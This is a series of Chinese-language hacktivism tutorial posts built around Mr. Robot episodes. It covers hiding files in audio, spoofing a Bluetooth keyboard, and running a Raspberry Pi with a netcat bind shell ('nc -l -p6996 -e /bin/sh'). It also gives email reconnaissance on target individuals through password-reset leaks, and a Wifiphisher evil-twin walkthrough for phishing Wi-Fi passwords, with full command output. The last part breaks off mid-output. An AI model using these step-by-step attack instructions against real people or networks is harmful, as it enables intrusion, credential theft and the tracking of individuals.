Elliot 所使用的技巧就是隐写术，即：在另一种数字媒体（音频、视频或图形文件）中隐藏信息的做法。我们多次介绍过它，见：

- 《隐写术（1）》
- 《隐写术（2）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》

例如，如果您想向他人发送秘密消息，则可以将该消息放在图片、音频或视频文件中，然后通过电子邮件发送，或允许特定读者从本网站下载的文件。

使用正确的密钥和算法，接收方 —— 有且只有接收方 —— 可以读取该秘密消息。其他所有人只会看到普通的图片或听到普通的音频。

政府间谍和恐怖组织已经使用这些技术很多年了（据报道，基地组织在1990年代和2000年代就使用这些技术将信息隐藏在其网站上向信徒传输）。

在 Mr. Robot 中，Elliot 似乎正在使用名为 “DeepSound” 的软件包来隐藏其音频文件中的信息，但是有许多可用于隐秘术的软件包，包括但不限于：

- QuickStego
- AudioStegano
- BitCrypt
- MP3Stego
- Steghide
- AudioStego

尽管通常来说，黑客出于许多充分的理由使用 Linux，但 DeepSound 是为 Windows 开发的。

于是本案例将在 Windows 7 系统上使用它，不过要知道，您几乎可以在任何 Windows OS 上使用它。

null-byte 介绍了这一方法。来看看 Elliot 是怎么做的？

第一步：下载并安装 Deep Sound

「图」

首先需要导航到 DeepSound 网站并下载软件。

继续下载并安装到您的系统。您的视听软件可能会将其标识为病毒，但请继续并允许其安装。

第二步：Deep Sound 界面

「图」

完成安装后，将出现如下所示的屏幕。在屏幕的左侧显示了C盘的目录结构。通过单击目录结构上方 C: drive 旁边的向下箭头，可以浏览到系统上的其他驱动器或USB设备。

左侧的文件将是您的 “载体” 音频文件。换句话说，这些是将用来隐藏数据的文件。

第三步：设置

「图」

单击顶部栏上的 “设置” 图标，它将弹出如下窗口。

应该设置默认语言、输出目录和输出格式。

请注意，该软件包仅适用于.flac 或 .wav 文件。这意味着您不能使用.mp3 文件。大概是因为.mp3被压缩而其他两种格式没有被压缩。

另外，请确保单击 “加密文件” 复选框。它使用的是最强加密算法，这可以确保您的隐藏文件已使用256位AES加密的保护。

最后，添加密码，当您或这些文件的目标接收方想要恢复数据时，将使用该密码解锁。该密码越长越好。

第四步：选择音频文件

「图」

接下来需要选择音频文件以隐藏数据。null-byte 的大多数音乐都是.mp3 格式（可能与您一样），因此这些音乐将无法使用。

null-byte 有一些 .flac 格式的 Nora Jones，将在这里使用。

（通常，发烧友更喜欢 .flac，因为它的质量更好，但由于未压缩，因此它的体积要大得多。这就是为什么大多数移动音频设备使用.mp3的原因，它们的文件比较小。）

双击目标音频文件，它准备好用于隐藏消息了。

接下来，单击顶部栏上的 “添加文件” 图标。这将提示您将要隐藏的文件添加到音频文件中。

在这里，null-byte 有一个名为 Shayla.doc 的文件，想把它隐藏在 Nora Jones 音频文件中。

第五步：编码

「图」

单击 Shayla.doc 时，它将其添加到右侧窗口。现在，需要单击顶部图标栏上的 “Encode” 图标。

现在，这个 Shayla.doc 文件已加密并被目标音频文件隐藏！

不仅此文件的外观和声音像普通的音频文件一样，而且，如果有人希望拿到隐藏在其中的信息，他们将需要使用仅由您自己知道的密码对其进行解密。

对于 Elliot 而言，他是获取了这些音频文件并将其刻录到CD了，但这不是必需的。据推测，他应该是担心计算机被警方查抄，于是他正在采取进一步的措施来保护这些文件。任何调查都不太可能一张张听他的音乐CD。

第六步：解码

「图」

最终，Elliot 或信息所针对的人将需要对隐藏的信息进行解码。只需单击音频文件，然后单击 “提取秘密文件” 图标。

它将提示您输入密码。输入您在步骤3中创建的密码，点击 “确定”，隐藏的文件将出现在右侧窗口中。

「图」

现在，您可以使用创建消息的相应软件来读取隐藏的秘密消息。

在这种情况下，它将是 Microsoft Word 或能够打开 .doc 文件的任何其他软件。

就是这么简单！您学会了吗？做一下试试看，实践能帮助您变得更熟练。〇

How to Hide Data in Audio Files

原文

如何破解蓝牙打开监狱大门：黑客主义行动力（5）- iyouport

hacktivist黑客主义

【2020年7月15日存档】也许没人觉得监狱可以被入侵，以至于远程打开牢房的门释放所有犯人？其实有可能做到这点

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》

Mr. Robot 第6集，Elliot 再一次利用他非凡的才智和黑客技巧带来了启发。

毒贩 Vera 绑架了 Shayla 以勒索 Elliot，让 Elliot 破解监狱的计算机系统以释放他。

Elliot 试图向 Vera 解释，这种入侵不可能在几小时内完成，而是几天甚至几周才能找到可以利用的安全漏洞。

但 Vera 不会给 Elliot 更多时间，于是 Elliot 不得不尝试一些不尽人意的技术，为了拯救女友 Shayla。null-byte 介绍了这种做法。

恶意闪存驱动器

「图」

Elliot 在首次入侵监狱的尝试中，他让 Darlene 假装 “意外” 将受感染的闪存驱动器丢到监狱外面。

这里的策略是，如果监狱网络中的某人将其捡起、并将它插入他们自己的计算机系统中，就可以注入恶意软件为 Elliot 提供外部连接。

正如预期的那样，一个昏昏欲睡的狱警确实捡起了那个USB并将其插入了自己的计算机。理论上 Elliot 可以建立SSH连接，但是在执行任何操作之前，AV软件会检测到它并断开 Elliot 的连接。

Elliot 指责 Darlene 不懂行，仅仅使用 “ Rapid9” 中的著名恶意软件，而不是开发新的利用方法，而 Darlene 为自己辩护说 “我只有一个小时。（她可能用 Veil-Evasion 重新编码了，也许不会被检测的）

一些人质疑这种方法是否行得通。在现代操作系统上禁用自动运行功能之前，您应该会在闪存驱动器上有一个可以自动执行的EXE文件。（在现代操作系统上，默认情况下禁用自动运行）

我们可能会假设这台机器启用了自动运行功能，或者更可能是 Darlene 已将恶意软件安装在已重新编程为模拟USB键盘的闪存驱动器上。

也就是说，将闪存驱动器安装在系统上后，操作系统会将它识别为USB键盘，授予其已登录用户的权限，然后将其恶意代码注入操作系统。

因此，如果 Darlene 用 Veil-Evasion 重新编码了恶意软件，那么此方法可能行得通。

破解 WPA2

「图」

Elliot 在监狱里探访 Vera 时，他随身携带了手机，并在手机上安装了 Wi-Fi 扫描仪应用程序。使用该扫描仪，他可以看到所有无线AP，并看到它们都已由 WPA2 保护。

尽管他知道自己可以破解 WPA2，但他的时间太短了，不足以使用暴力破解的方法。

在用手机扫描无线热点和加密技术的过程中，当狱警的汽车驶近他时，Elliot 看到了蓝牙连接。

这促使 Elliot 采取了一种新策略，即 入侵蓝牙，并通过警车与监狱之间的专用蜂窝连接进入监狱的计算机系统。

破解蓝牙键盘

「图」

Elliot 在这里使用的策略是欺骗警车的蓝牙连接到他的键盘。

如果他能使笔记本电脑相信他自己的键盘实际上是警察的键盘，那么他就可以控制警察的笔记本电脑并进入监狱的网络。

一旦进入网络，他就可以上传恶意软件以控制监狱的数字控制系统。

第一步：启用蓝牙

「图」

首先要做的就是在他的 Linux 黑客系统上启动蓝牙服务：

kali 」 service bluetooth start

「图」

接下来，他需要激活蓝牙设备：

kali 」 hciconfig hci0 up

然后，通过键入以下内容来检查它是否真正起作用以及其属性：

kali 」 hciconfig hci0

「图」

请注意第二行中的 “BD Address”，这是蓝牙设备的MAC地址。

第二步：扫描蓝牙设备

「图」

如果仔细查看 Elliot 的屏幕，您会发现他正在使用 hcitool，这是 Kali Linux 中内置的蓝牙工具。

尽管此方法有效，但使用 btscanner 可以更容易，btscanner 是具有基本GUI的内置蓝牙扫描仪。要使用它，请简单输入：

kali 」 btscanner

然后选择 “i” 以启动查询扫描。您可以在下面看到结果。

使用 btscanner，可以获得范围内所有蓝牙设备的列表。这里有一个MAC地址和一个“Tyler”的名字 —— 要欺骗该设备就必须欺骗MAC地址和设备名。

这就是 Elliot 如何获取警车中MAC地址和蓝牙设备名的方式。请记住，蓝牙是一种低功耗协议，范围仅约10米（使用定向天线最大距离达到100米）。

第三步：欺骗键盘的MAC地址

「图」

现在，Elliot 有了警察键盘的名称和MAC地址，他将需要通过使用此信息克隆警察键盘来进行欺骗。

Kali Linux 有一个旨在欺骗蓝牙设备的工具，称为 spooftooph。可以使用它来欺骗键盘，类似于以下命令：

kali 」 spooftooph -i hci0 -a A0:02:DC:11:4F:85 -n Car537

- **-i** 指定设备，在这种情况下为 hci0
- **-a** 指定要欺骗的MAC地址
- **-n** 指定要欺骗的设备名，在这种情况下为 “Car537”

如果做对了，就是下面这样：

「图」

为了检查是否成功，可以使用 hciconfig，如果成功，它将具有与警察的蓝牙设备相同的MAC地址和名称。

kali 」 hciconfig hci0 name

「图」

现在已经有了一个蓝牙设备，它是警车的蓝牙键盘的完美克隆。

第四步：时间……

「图」

现在出现了现实与 Mr. Robot 剧情发生分歧的地方。这部剧整体上很真实，但导演也的确加入了艺术化成分，这当然是允许的。创意作品不应受到现实的限制。

为了让 Eliot 现在连接到警车的笔记本电脑，他需要在键盘和笔记本电脑上的蓝牙适配器之间进行交换的链路密钥（就是识别先前配对的蓝牙设备的钥匙）。

他可以猜测或破解它，但是肯定不会像剧情中显示的那样快。另一种可能性是，当系统重启或键盘断开连接时，Elliot 可以连接到笔记本电脑，因为它是警察键盘的克隆。

无论哪种情况，黑入警察的蓝牙键盘都需要比剧情中显示的更多的时间。

第五步：入侵监狱系统

「图」

在最后一步中，Elliot 使用警察的被黑的计算机通过FTP上传恶意软件，这将使他能够控制监狱牢房的门。

也许很少有人会意识到监狱和其他通常称为SCADA（数据采集与监控系统）的工业系统很容易被黑客入侵。而这种事其实经常发生。

针对伊朗铀浓缩设施的震网病毒袭击与此非常相似。这些工业系统都具有基本上是数字控制器的PLC。

据推测，这所监狱中有PLC控制监狱牢房的门（这是一个非常合理的假设），Elliot 的恶意软件感染并控制了它们，使他能够打开所有牢房，释放了 Vera 和所有其他囚犯。〇

—— 持续更新中 ——

How to Hack Bluetooth

原文

“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6） - iyouport

hacktivist黑客主义

【2020年7月22日存档】控制HVAC系统，融化所有债务数据

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》

Mr. Robot 中最有趣的部分就在于黑客行为主义操作非常真实，几乎每一步都是如此。

在第4季中，Elliott 计划使用树莓派控制邪恶公司正在存储其磁带备份的存储室的加热系统（暖通空调HVAC系统）。如果可以在存储室中充分升高温度，就能造成这些磁带备份无法再使用，也就是毁掉邪恶公司的所有数据。

在这些磁带备份上记录了全世界70%的消费者债务，包括数十亿美元的学生贷款。

黑客们相信，只要销毁所有这些记录，那么数百万人就可以解放了—— 摆脱邪恶公司的债务陷阱。

- 《债务反叛运动：传统的阶层斗争可能不再适用》

本教程将向您展示如何创建可以远程控制的黑客树莓派，类似 Elliott 使用的装备。（Raspberry Pi 是一款体积小巧，价格便宜，信用卡大小的计算机，功能强大）

第一步：下载ARM版本的Kali

「图」

当然，第一步是下载。 Raspberry Pi 和许多移动设备使用 ARM CPU，因为它们更节能更酷，因此必须专门为其编译 Kali 操作系统。幸运的是已经有人帮您做好了。

导航到 Offensive Security 的下载页面以获取 Raspberry Pi 文件。下载后使用 WinRAR、WinZip 或任何其他可以解压缩文件的工具将其解压缩。

第二步：下载并安装 Win32 Disk Imager

「图」

现在需要安装 Win32 Disk Imager，您可以从 SourceForge 下载。

该工具使您能够将映像写入SD卡或USB驱动器。建议使用至少4GB的快速SD卡。您现在可以以约7美元的价格购买16GB。

第三步：运行磁盘映像

「图」

现在，您已经安装了 Disk Imager，右键单击它并以“管理员”身份运行它。

「图」

在“Image File”窗口中选择 Kali 映像，在“设备”窗口中将映像定向到SD卡，然后单击“写入”按钮。请耐心等待，这可能需要一些时间。

「图」

如果您使用 Linux，事情会更简单。无需下载任何内容。您只需使

用 **dd** 命令（dd 命令也用于在数字取证中创建磁盘映像）。

如果假设该映像名为 Kali-RPI.img 且 SD 卡位于 */dev/sdc* 并希望以512k块大小（bs）复制，则只需键入：

kali 」dd if ＝Kali-RPI.img of ＝ /dev/sdc bs＝512k

第四步：在 Raspberry Pi 中安装SD卡

「图」

现在需要从您的PC上卸下SD卡，然后将SD卡安装到树莓派中并启动它。

启动时，将带您到命令行打开窗口，询问您的用户名和密码。输入：

username: root

password: toor

然后输入：

kali 」 startx

这将启动Kali的X11 GUI。成功！现在，您有了一个微型 Kali 黑客工具，可以将其放在任何地方！

第五步：在树莓派上启动 Cryptcat 侦听器

「图」

现在，有了运行 Kali 的 Raspberry Pi，可以将其放置在邪恶公司网络中的任何位置。Raspberry Pi 具有以太网连接，您可以添加无线适配器。

☞Raspberry Pi 非常小，可以隐藏在许多地方 —— 包括台式计算机内部，电话内部，时钟内部等，而不会引起注意。

连接后，可以通过键入以下内容来启动 Netcat 侦听器（Kali 内置了 Netcat）：

kali 」 nc -l -p6996 -e /bin/sh

「图」

这将使 Elliott 可以使用端口 6996 从任何地方连接到树莓派上的终端。

现在，Elliott 可以通过在他的 Kali 系统上使用 Netcat 连接回 Raspberry Pi，输入以下内容：

kali 」 nc 192.168.1.105 6996

当他键入 **ifconfig** 时，可以看到在 Raspberry Pi 上已经有一个终端，准备好对邪恶公司的 HVAC 系统进行入侵了。确保在您的环境中使用 Raspberry Pi 的 IP 地址。

当然，还有其他方法可以连接回树莓派。他可以使用 SSH，并且如果需要 GUI，安装VNC服务器并通过 Kali 的完全GUI控制连接回去。

最后

「图」

就是这样。现在 Elliott 完全可以控制HVAC系统并调高温度，以熔化备用磁带。数据毁了，所有债务都消失了，人民解放了。

上图中这本书在这里下载：https://t.me/iyouport/6959 ○

—— 不断更新中 ——

How to Build a Hacking Raspberry Pi

原文

充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7） - iyouport

hacktivist黑客主义

【2020年7月29日存档】人是最薄弱环节。于是，针对人设计攻击计划比针对系统更高效

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》

众所周知，侦查是黑客入侵的重要阶段 ——在进行攻击之前了解目标的所有信息非常重要。

无论您的目标是公司、团体还是个人，经验都证明：人是信息安全链中最薄弱的环节，而电子邮件则是一把开启秘密的钥匙，这是您成功进行黑客操作的最佳选择。

上图中这本书在这里下载：https://t.me/iyouport/6844

从针对人的搜索引擎到检查社交媒体履历，有太多的方法可以获取目标人的电子邮件地址，但是，大多数情况下，这些方法无法为您提供所需的信息。

记得我们在 “难以被追踪的简单方法” 系列中介绍过：获取某人的电

子邮件的另一种简单方法是，猜。

没错。人们在注册电子邮件地址时倾向于遵循某种特定的模式，例如在其姓名后添加出生年份或出生日期（例如：johndoe1997 @ example.com，john.d.97 @ example.com）。人工猜测每个单独的组合会非常耗时，但是null-byte 推荐了一种方法可以使事情变得更快、更轻松。

如果您知道要看哪里，那么就会明白，诸如 facebook、twitter 和 instagram 之类的社交媒体都可以让你通过单击 “忘记密码” 按钮并输入目标用户名来提取有关目标人的大量信息，您将收到经过部分遮盖的电子邮件。

- 在这里看到方法《如何使用账户恢复功能追踪目标人？- 开源情报搜集方法》

如您所见，那里有一些非常有用的信息，例如 电子邮件提供商、首字母和尾字母、以及确切的字符数！（PS：fb、insta 和 twitter 提供正确数量的字符，其他平台则不可以）

现在，通过了解此信息并了解有关目标人的一些其他私人信息（名字、中间名、姓氏和生日），您就可以轻松地猜测出完整的电子邮件地址，这就是 Buster 发挥作用的地方。

它是如何工作的？

「图」

Buster 将获取您所知道的有关目标人的信息，并将生成所有可能的组合，然后将其与您提供的模式进行比较（例如：k **** s@gmail.com）并列出所有可能的电子邮件地址，然后遍历每封电子邮件，并使用不同的方法检查是否实际存在（smtp 检查，社交媒体筛查等等 ...）

找到电子邮件后，它将执行 OSINT 任务，并返回有关该电子邮件的信息，例如：

- Social accounts
- breaches
- pastes
- domains registered

- links to where to email was found

第一步：安装

「图」

克隆储存库

$sudo git clone git:*github.com/sham00n/buster* 拥有源码副本后可以使用以下命令进行安装： ***$ cd buster/ $ sudo python3 setup.py install $ buster -h !!!***第二步：查找电子邮件 「图」 转到 ***facebook*** 并搜索您的目标，点击他们的个人资料，您应该在***URL***中看到他们的用户名或 ***facebook ID***。 「图」 * 不要错过，查找***ID***的方法《搜人、照片、视频、位置 ***……*** 大全：新的***FB”***图谱搜索”替代方案—— 尤其强调防御》 注销 ***facebook***，在登录框中输入目标的用户名，点按 *“忘记密码”*，然后复制该模式。 输入所有信息给 ***Buster*** 和 ***voila***！ 在这里可以看到可能的电子邮件以及一些非常有用的信息，可以帮助您确保它属于您感兴趣的人。 或者，如果您知道目标人的工作单位，也可以尝试： ***!!!***第三步：从用户名查找电子邮件 「图」 在上一步中设法找到了目标的电子邮件，现在是尝试看看目标人是否还有更多具有相同用户名的电子邮件。 「图」 使用前面找到的用户名以及***4***个受欢迎的电子邮件提供商找到了目标的***Gmail***账户。 还有很多其他事可以做，例如 生成用户名的不同组合、在单个电子邮件或列表上执行开源情报侦查 ***……*** 结合使用诸如 ***theharvester***、***h8mail*** 和 ***sherlock*** 之类的工具，以获取有关目标的尽可能多的信息。 如您所见，只要您能保持 *被了解程度最低*，您就可以为攻击者的侦查制造很大的难度，从而迫使他们放弃。 侦查是所有行动的关键，不只有黑客行动；也是为什么说开源情报是行动力的基础。希望本文能对您有用。〇 ***Perform Email Reconnaissance with Buster*** 原文

如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8） - iyouport

hacktivist黑客主义

【2020年8月4日存档】暴力破解很消耗资源，倒不如对人下手 ……

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》

尽管密码破解和WPS攻击引起了广泛关注，但社交工程攻击是迄今为止获取 Wi-Fi 密码的最快捷方法。

Wifiphisher 是最有效的 Wi-Fi 社交工程攻击工具之一，它会阻止互联网连接，直到绝望的用户输入Wi-Fi密码以启用伪造的路由器固件更新为止。

社交工程攻击功能强大，因为它们通常会完全绕过安全性。如果您可以欺骗目标人在伪造的登录页面中输入真实密码，那么密码本身的强度就完全无所谓了。

投入暴力破解需要耗费大量的时间和处理能力，可能会导致资源快速

枯竭。相反，诸如 Wifiphisher 之类的工具会换一个方向，从人下手。

普通用户是否会记得其 Wi-Fi 路由器的登录页面上每一个细节？他们会注意到是否有所不同吗？更重要的是，那些忙碌的用户即便注意到了网络登录页面看起来有些不同，他们也会为中断互联网连接并感到压力很大，这种情况下他们是否会仍然输入密码忽略那些小的差异？

Wifiphisher 回答：是的。该工具可以选择附近的任何Wi-Fi网络，取消对所有用户的身份验证，并创建不需要密码即可加入的克隆访问点。

目标用户将获得一个看起来令人信服的钓鱼页面，该页面要求提供Wi-Fi密码以启用固件更新，这被解释为Wi-Fi停止工作的原因。

邪恶的固件更新

「图」

对于社交工程攻击的目标，Wifiphisher 最初展示的迹象看起来像路由器的问题。首先，Wi-Fi 会断开。受害人仍然可以看到网络，但是每次尝试连接都会失败。受害人会开始注意到，不仅一个设备，而是每个Wi-Fi设备都失去了与网络的连接。

这时候受害人会注意到一个新的网络，该网络与旧网络同名，但不需要密码。

受害人一旦加入，就会打开一个带有官方外观的页面，其中提到路由器的制造商，并看到通知 “该路由器正在进行重要的固件更新”。除非输入密码以应用更新，否则无法连接。

输入超级安全的Wi-Fi密码后，随着路由器重新启动，受害人会为自己通过安装此重要更新而认真对待路由器的安全性而感到自豪 ……

对于黑客来说，获取密码就像选择要定位的网络一样简单。

指定目标之后，Wifiphisher 会立即阻塞连接到目标网络的所有设备，从而最大程度地增加连接到网络的人受到的挫败感，并因此增强上当的机会。接下来目标会认为其路由器正在某种未指定的更新模式下运行。

在诱骗连接到目标网络的受害人输入密码后，Wifiphisher 会同时通

知黑客。

发送捕获的密码后，目标将被伪造的更新加载屏幕和伪造的重启进度条残酷地占用，从而为黑客争取时间来测试捕获的密码。null-byte 介绍了这件事可以怎么做。

攻击者需要什么

「图」

为了使这种攻击有效，您需要兼容 Kali Linux 的无线网络适配器。*From left to right starting from top: Alfa AWUS036NH; Alfa AWUS051NH; TP-LINK TL-WN722N; Alfa AWUS036NEH; Panda PAU05; Alfa AWUS036H; Alfa AWUS036NHA. Image by Kody/Null Byte*

除了良好的无线网络适配器之外，您还需要一台运行 Kali Linux 的计算机，首先应通过运行 **apt update** 和 **apt upgrade** 进行更新。否则很可能在下面的 Wifiphisher 安装过程中遇到问题。

第一步：安装 Wifiphisher

「图」

首先，可以打开一个终端窗口，然后键入 **apt install wifiphisher** 以安装 Wifiphisher。

```
~# apt install wifiphisher

Reading package lists... Done

Building dependency tree

Reading state information... Done

wifiphisher is already the newest version
(1.4+git20191215-0kali1).

The following packages were automatically
installed and are no longer required:

dh-python libdouble-conversion1 liblinear3
```

```
Use 'apt autoremove' to remove them.

0 upgraded, 0 newly installed, 0 to remove and
1891 not upgraded.
```

如果您想尝试从 GitHub 存储库中安装它，可以通过克隆存储库并按照 GitHub 页面上的说明进行操作，例如：

```
~# git clone https://github.com/wifiphisher/
wifiphisher.git

~# cd wifiphisher

~# sudo python setup.py install
```

从现在开始，您只需在终端窗口中键入程序名称即可。

第二步：运行

「图」

您只需在终端窗口中键入 **sudo wifiphisher**，便可以随时运行脚本。

```
~# wifiphisher --help

usage: wifiphisher [-h] [-i INTERFACE] [-eI
EXTENSIONSINTERFACE]

[-aI APINTERFACE] [-iI INTERNETINTERFACE]

[-iAM MAC_AP_INTERFACE] [-iEM
MAC_EXTENSIONS_INTERFACE]

[-iNM] [-kN] [-nE] [-nD]

[-dC DEAUTH_CHANNELS [DEAUTH_CHANNELS ...]] [-e
ESSID]

[-dE DEAUTH_ESSID] [-p PHISHINGSCENARIO] [-pK
PRESHAREDKEY]

[-hC HANDSHAKE_CAPTURE] [-qS] [-lC] [-lE
```

LURE10_EXPLOIT]

[--logging] [-dK] [-lP LOGPATH] [-cP CREDENTIAL_LOG_PATH]

[--payload-path PAYLOAD_PATH] [-cM] [-wP]

[-wAI WPSPBC_ASSOC_INTERFACE] [-kB] [-fH]

[-pPD PHISHING_PAGES_DIRECTORY]

[--dnsmasq-conf DNSMASQ_CONF] [-pE PHISHING_ESSID]

optional arguments:

-h, --help show this help message and exit

-i INTERFACE, --interface INTERFACE

Manually choose an interface that supports both AP and

monitor modes for spawning the rogue AP as well as

mounting additional Wi-Fi attacks from Extensions

(i.e. deauth). Example: -i wlan1

-eI EXTENSIONSINTERFACE, --extensionsinterface EXTENSIONSINTERFACE

Manually choose an interface that supports monitor

mode for deauthenticating the victims. Example: -eI

wlan1

-aI APINTERFACE, --apinterface APINTERFACE

Manually choose an interface that supports AP mode for

spawning the rogue AP. Example: -aI wlan0

-iI INTERNETINTERFACE, --internetinterface INTERNETINTERFACE

Choose an interface that is connected on the

InternetExample: -iI ppp0

-iAM MAC_AP_INTERFACE, --mac-ap-interface MAC_AP_INTERFACE

Specify the MAC address of the AP interface

-iEM MAC_EXTENSIONS_INTERFACE, --mac-extensions-interface MAC_EXTENSIONS_INTERFACE

Specify the MAC address of the extensions interface

-iNM, --no-mac-randomization

Do not change any MAC address

-kN, --keepnetworkmanager

Do not kill NetworkManager

-nE, --noextensions Do not load any extensions.

-nD, --nodeauth Skip the deauthentication phase.

-dC DEAUTH_CHANNELS [DEAUTH_CHANNELS ...], --deauth-channels DEAUTH_CHANNELS [DEAUTH_CHANNELS ...]

Channels to deauth. Example: --deauth-channels 1,3,7

-e ESSID, --essid ESSID

Enter the ESSID of the rogue Access Point. This option

will skip Access Point selection phase. Example:

--essid 'Free WiFi'

-dE DEAUTH_ESSID, --deauth-essid DEAUTH_ESSID

Deauth all the BSSIDs in the WLAN with that ESSID.

-p PHISHINGSCENARIO, --phishingscenario PHISHINGSCENARIO

Choose the phishing scenario to run.This option will

skip the scenario selection phase. Example: -p

firmware_upgrade

-pK PRESHAREDKEY, --presharedkey PRESHAREDKEY

Add WPA/WPA2 protection on the rogue Access Point.

Example: -pK s3cr3tp4ssw0rd

-hC HANDSHAKE_CAPTURE, --handshake-capture HANDSHAKE_CAPTURE

Capture of the WPA/WPA2 handshakes for verifying

passphraseExample : -hC capture.pcap

-qS, --quitonsuccess Stop the script after successfully retrieving one pair

of credentials

-lC, --lure10-capture

Capture the BSSIDs of the APs that are discovered

during AP selection phase. This option is part of

Lure10 attack.

-lE LURE10_EXPLOIT, --lure10-exploit LURE10_EXPLOIT

Fool the Windows Location Service of nearby Windows

users to believe it is within an area that was

previously captured with --lure10-capture. Part of the

Lure10 attack.

--logging Log activity to file

-dK, --disable-karma Disables KARMA attack

-lP LOGPATH, --logpath LOGPATH

Determine the full path of the logfile.

-cP CREDENTIAL_LOG_PATH, --credential-log-path CREDENTIAL_LOG_PATH

Determine the full path of the file that will store

any captured credentials

--payload-path PAYLOAD_PATH

Payload path for scenarios serving a payload

-cM, --channel-monitor

Monitor if target access point changes the channel.

-wP, --wps-pbc Monitor if the button on a WPS-PBC Registrar is

pressed.

-wAI WPSPBC_ASSOC_INTERFACE, --wpspbc-assoc-interface WPSPBC_ASSOC_INTERFACE

The WLAN interface used for associating to the WPS

AccessPoint.

-kB, --known-beacons Broadcast a number of beacon frames advertising

popular WLANs

-fH, --force-hostapd Force the usage of hostapd installed in the system

-pPD PHISHING_PAGES_DIRECTORY, --phishing-pages-directory PHISHING_PAGES_DIRECTORY

Search for phishing pages in this location

--dnsmasq-conf DNSMASQ_CONF

Determine the full path of a custom dnmasq.conf file

-pE PHISHING_ESSID, --phishing-essid PHISHING_ESSID

Determine the ESSID you want to use for the phishing

page

第三步：插入您的无线网络适配器

「图」

现在插入无线网络适配器。如果不这样做，Wifiphisher 会将您的卡置于无线监控模式。

第四步：运行

「图」

这里将使用USB无线网络适配器，因此将在命令中添加 **-i** 网络适配器的名称。如果不这样做，Wifiphisher 将会抓住任何它可以用的网络适配器。

运行以下命令：

```
~# wifiphisher -i wlan1
```

之后您应该看到一个页面，显示附近的每个网络。可以在此处选择要攻击的网络，然后按 Enter。

```
Options: [Esc] Quit [Up Arrow] Move Up [Down
Arrow] Move Down

ESSID BSSID CH PWR ENCR CLIENTS VENDOR

---------------------------------------------------------------

  Probe Team CIC.m                    100% OPEN 0
Unknown

                                     100% WPA2 2
Belkin International

                                    98% WPA2 0
Unknown

                                         94% WPA2 6
Arris Group

                                   86% WPA2/WPS 1
Unknown

                                    78% WPA2/WPS 3
Belkin International

                                  78% WPA2/WPS 0
Asustek Computer

                                   78% WPA2/WPS 4
```

Hon Hai Precision Ind.

74% WPA2/
WPS 0 Hon Hai Precision Ind.

74% WPA2 0
Unknown

74% WPA2/WPS 2
Technicolor CH USA

70% WPA2/WPS 1
Technicolor CH USA

70% WPA2 0
Unknown

90% WPA2 0
Unknown

66% WPA2 0
Unknown

66% WPA2/WPS 0
Hon Hai Precision Ind.

62% WPA2/WPS 2
Asustek Computer

62% WPA2/WPS
3 Unknown

62% WPA2/WPS 0
Hon Hai Precision Ind.

58% WPA2/WPS 0
Hon Hai Precision Ind.

58% WPA2/WPS 0
Unknown

58% WPA2 0

Unknown

58% WPA2/WPS 0
Hon Hai Precision Ind.

54% WPA2/WPS 0
Arris Group

46% WPA2 0 Tp-link
Technologies

46% WPA2/
WPS 0 Asustek Computer

接下来，脚本将询问您要运行哪种攻击。选择2。

Options: [Esc] Quit [Up Arrow] Move Up [Down Arrow] Move Down

Available Phishing Scenarios:

1 - Network Manager Connect

Imitates the behavior of the network manager. This template shows Chrome's "Connection "Failed" page and displays a network manager window through the page asking for the pre-shared key. Currently, the network managers of Windows and MAC OS are supported.

2 - Firmware Upgrade Page

A router configuration page without logos or brands asking for WPA/WPA2 password due to a firmware upgrade. Mobile-friendly.

3 - OAuth Login Page

A free Wi-Fi Service asking for Facebook credentials to authenticate using OAuth

4 - Browser Plugin Update

A generic browser plugin update page that can be used to serve payloads to the victims.

选好要运行的攻击后，它将立即启动。这将打开一个页面，以监视加入网络的目标。Wifiphisher 还将侦听试图连接到不存在的网络的所有设备，它将创建伪造的版本以诱使这些设备进行连接。

Extensions feed: Wifiphisher 1.4GIT

DEAUTH/DISAS - ESSID:

DEAUTH/DISAS - Channel: 11

AP interface: wlan1

Options: [ESC] Quit

Connected Victims:

HTTPS requests:

目标加入后，将弹出一个窗口，要求他们输入密码。

当目标输入密码时，攻击者将在 Wifiphisher 屏幕上收到通知。

Extensions feed:

DEAUTH/DISAS -

DEAUTH/DISAS -

DEAUTH/DISAS -

Victim probed for WLAN with ESSID: 'FakeNed' (KARMA)

Victim probed for WLAN with ESSID: 'Harmond Fernandez' (Evil Twin)

```
Connected Victims:

                    10.0.0.13 Apple iOS/MacOS

                    10.0.0.29 Murata Manufacturing

